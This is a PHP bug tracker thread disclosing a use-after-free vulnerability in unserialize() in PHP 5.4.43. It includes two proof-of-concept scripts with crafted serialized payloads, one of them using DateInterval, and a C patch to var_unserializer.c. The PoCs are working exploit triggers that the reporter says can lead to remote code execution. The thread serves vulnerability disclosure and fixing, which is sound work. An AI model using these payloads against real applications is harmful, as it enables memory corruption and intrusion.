Bug #70172 [Opn]: Use After Free Vulnerability in unserialize()
| From: | taoguangchen at icloud dot com | Date: | Sun, 02 Aug 2015 04:15:59 +0000 |
| Subject: | Bug #70172 [Opn]: Use After Free Vulnerability in unserialize() | ||
| References: | 1 | Groups: | php.bugs |
| Request: | Send a blank email to php-bugs+get-194883@lists.php.net to get a copy of this message | ||
Edit report at https://bugs.php.net/bug.php?id=70172&edit=1
ID: 70172
User updated by: taoguangchen at icloud dot com
Reported by: taoguangchen at icloud dot com
Summary: Use After Free Vulnerability in unserialize()
Status: Open
Type: Bug
Package: *General Issues
Operating System: *
PHP Version: 5.4.43
Block user comment: N
Private report: Y
New Comment:
Some web programs use Serializable and unserialize(), and attacker can free ZVAL easily via
DateInterval, like this:
```
class obj implements Serializable {
var $data;
function serialize() {
return serialize($this->data);
}
function unserialize($data) {
$this->data = unserialize($data);
}
}
$inner = 'O:12:"DateInterval":1:{s:1:"y";R:2;}';
$exploit =
'a:2:{i:0;C:3:"obj":'.strlen($inner).':{'.$inner.'}i:1;R:3;}';
$data = unserialize($exploit);
for($i = 0; $i < 5; $i++) {
$v[$i] = 'hi'.$i;
}
var_dump($data);
```
Previous Comments:
------------------------------------------------------------------------
[2015-08-02 03:50:40] stas@php.net
This looks like it requires specially crafted code. As such, it's not a security issue.
------------------------------------------------------------------------
[2015-07-31 12:59:20] taoguangchen at icloud dot com
the patch for 5.4 series ( maybe work on 5.5 and 5.6 series ), and this patch also fixes BUG#70166,
BUG#70168 and BUG#70169.
diff --git a/php-5.4.43/var_unserializer.c b/php-5.4.43-fixed/var_unserializer.c
index 8c4e629..99b61cb 100644
--- a/php-5.4.43/var_unserializer.c
+++ b/php-5.4.43-fixed/var_unserializer.c
@@ -363,8 +363,10 @@ static inline int process_nested_data(UNSERIALIZE_PARAMETER, HashTable *ht,
long
static inline int finish_nested_data(UNSERIALIZE_PARAMETER)
{
- if (*((*p)++) == '}')
+ if (*((*p)++) == '}') {
+ var_push_dtor(var_hash, rval);
return 1;
+ }
#if SOMETHING_NEW_MIGHT_LEAD_TO_CRASH_ENABLE_IF_YOU_ARE_BRAVE
zval_ptr_dtor(rval);
@@ -880,6 +882,7 @@ yy41:
INIT_PZVAL(*rval);
ZVAL_STRINGL(*rval, str, len, 0);
+ var_push_dtor(var_hash, rval);
return 1;
}
yy46:
@@ -927,6 +930,7 @@ yy48:
INIT_PZVAL(*rval);
ZVAL_STRINGL(*rval, str, len, 1);
+ var_push_dtor(var_hash, rval);
return 1;
}
yy53:
@@ -1023,6 +1027,7 @@ use_double:
*p = YYCURSOR;
INIT_PZVAL(*rval);
ZVAL_DOUBLE(*rval, zend_strtod((const char *)start + 2, NULL));
+ var_push_dtor(var_hash, rval);
return 1;
}
yy65:
@@ -1094,6 +1099,8 @@ yy73:
} else if (!strncmp(start + 2, "-INF", 4)) {
ZVAL_DOUBLE(*rval, -php_get_inf());
}
+
+ var_push_dtor(var_hash, rval);
return 1;
}
@@ -1147,6 +1154,7 @@ yy79:
*p = YYCURSOR;
INIT_PZVAL(*rval);
ZVAL_LONG(*rval, parse_iv(start + 2));
+ var_push_dtor(var_hash, rval);
return 1;
}
yy83:
@@ -1160,6 +1168,7 @@ yy83:
*p = YYCURSOR;
INIT_PZVAL(*rval);
ZVAL_BOOL(*rval, parse_iv(start + 2));
+ var_push_dtor(var_hash, rval);
return 1;
}
yy87:
@@ -1168,6 +1177,7 @@ yy87:
*p = YYCURSOR;
INIT_PZVAL(*rval);
ZVAL_NULL(*rval);
+ var_push_dtor(var_hash, rval);
return 1;
}
yy89:
------------------------------------------------------------------------
[2015-07-31 01:38:35] taoguangchen at icloud dot com
Description:
------------
I has reported some similar bugs in BUG#70166, BUG#70168 and BUG#70169
```
if (ce->unserialize == NULL) {
zend_error(E_WARNING, "Class %s has no unserializer", ZSTR_VAL(ce->name));
object_init_ex(rval, ce);
} else if (ce->unserialize(rval, ce, (const unsigned char*)*p, datalen, (zend_unserialize_data
*)var_hash) != SUCCESS) {
return 0;
}
(*p) += datalen;
return finish_nested_data(UNSERIALIZE_PASSTHRU);
}
A specially defined Serializable lead to various problems.
PoC:
```
class obj implements Serializable {
var $data;
function serialize() {
return serialize($this->data);
}
function unserialize($data) {
$this->data = unserialize($data);
$this->data = 1;
}
}
$inner = 'a:0:{}';
$exploit =
'a:2:{i:0;C:3:"obj":'.strlen($inner).':{'.$inner.'}i:1;R:3;}';
$data = unserialize($exploit);
for($i = 0; $i < 5; $i++) {
$v[$i] = 'hi'.$i;
}
var_dump($data);
```
We can create ZVAL and free it via Serializable::unserialize. However the unserialize() will still
allow to use R: or r: to set references to that already freed memory. it is possible to
use-after-free attack and execute arbitrary code remotely.
------------------------------------------------------------------------
--
Edit this bug report at https://bugs.php.net/bug.php?id=70172&edit=1